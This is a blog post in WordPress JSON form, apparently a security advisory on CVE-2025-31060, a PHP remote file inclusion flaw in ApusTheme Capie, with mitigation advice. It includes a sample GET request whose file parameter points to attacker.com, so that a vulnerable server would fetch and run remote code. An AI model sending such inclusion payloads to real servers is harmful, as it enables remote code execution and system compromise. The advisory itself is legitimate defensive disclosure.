{"id":47784,"date":"2025-06-02T10:52:37","date_gmt":"2025-06-02T10:52:37","guid":{"rendered":""},"modified":"2025-07-03T11:04:53","modified_gmt":"2025-07-03T17:04:53","slug":"cve-2025-31060-remote-file-inclusion-vulnerability-in-apustheme-capie","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-31060-remote-file-inclusion-vulnerability-in-apustheme-capie\/","title":{"rendered":"<strong>CVE-2025-31060: Remote File Inclusion Vulnerability in ApusTheme Capie<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The cybersecurity world is alerted to a significant vulnerability, CVE-2025-31060, that affects ApusTheme Capie, a popular PHP program. This vulnerability arises from an improper control of filename for include\/require statement, commonly known as the &#8216;PHP Remote File Inclusion&#8217;. The affected versions range from the initial release to version 1.0.40. The potential consequences of this vulnerability, if exploited, could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-0562-use-after-free-flaw-in-linux-kernel-potentially-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"53681\">lead to a complete system<\/a> compromise or even data leakage, posing a serious threat to the security of any system running the affected versions of the software.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-31060<br \/>\nSeverity: High (CVSS: 8.1)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31049-untrusted-data-deserialization-vulnerability-in-themeton-dash-exposes-systems-to-object-injection\/\"  data-wpil-monitor-id=\"53832\">System Compromise or Data<\/a> Leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-691784156\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>ApusTheme Capie | All versions through 1.0.40<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-25010-critical-vulnerability-in-ericsson-ran-compute-and-site-controller-6610\/\"  data-wpil-monitor-id=\"53665\">vulnerability stems from the PHP program&#8217;s improper control<\/a> of filename for include\/require statement, which leads to a &#8216;PHP Remote File Inclusion&#8217; vulnerability. This allows an attacker to inject a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32925-critical-php-remote-file-inclusion-vulnerability-in-fantasticplugins-sumo-reward-points\/\"  data-wpil-monitor-id=\"55213\">file from a remote<\/a> server, which is subsequently executed on the victim&#8217;s server. This can occur because the software does not properly sanitize user input, enabling an attacker to manipulate the filename parameter in the include\/require statement.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1373128921\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-45997-exploiting-file-upload-vulnerability-in-web-based-pharmacy-product-management-system\/\"  data-wpil-monitor-id=\"63305\">vulnerability might be exploited<\/a>. This example showcases a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6162-critical-buffer-overflow-vulnerability-in-totolink-ex1200t-http-post-request-handler\/\"  data-wpil-monitor-id=\"63304\">HTTP request<\/a> where an attacker may insert a malicious payload.<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/vulnerable_page.php?file=http:\/\/attacker.com\/malicious_file.txt HTTP\/1.1\nHost: victim.example.com<\/code><\/pre>\n<p>In this scenario, the attacker attempts to get the vulnerable_page.php to include and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49132-critical-arbitrary-code-execution-vulnerability-in-pterodactyl-game-server-management-panel\/\"  data-wpil-monitor-id=\"63302\">execute the malicious_file.txt from the attacker&#8217;s server<\/a>.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>Affected users are strongly advised to apply the vendor patch once it&#8217;s available. As a temporary mitigation measure, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can help to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49155-uncontrolled-search-path-vulnerability-in-trend-micro-apex-one-data-loss-prevention-module\/\"  data-wpil-monitor-id=\"63303\">prevent exploitation of this vulnerability<\/a>. These tools can be configured to detect and block attempts of remote <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46468-high-severity-php-local-file-inclusion-vulnerability-in-wpfable-fable-extra\/\"  data-wpil-monitor-id=\"54099\">file inclusion<\/a> by filtering out suspicious patterns in the HTTP request.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The cybersecurity world is alerted to a significant vulnerability, CVE-2025-31060, that affects ApusTheme Capie, a popular PHP program. This vulnerability arises from an improper control of filename for include\/require statement, commonly known as the &#8216;PHP Remote File Inclusion&#8217;. The affected versions range from the initial release to version 1.0.40. The potential consequences of this [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-47784","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/47784","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=47784"}],"version-history":[{"count":6,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/47784\/revisions"}],"predecessor-version":[{"id":56881,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/47784\/revisions\/56881"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=47784"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=47784"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=47784"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=47784"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=47784"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=47784"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=47784"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=47784"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=47784"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}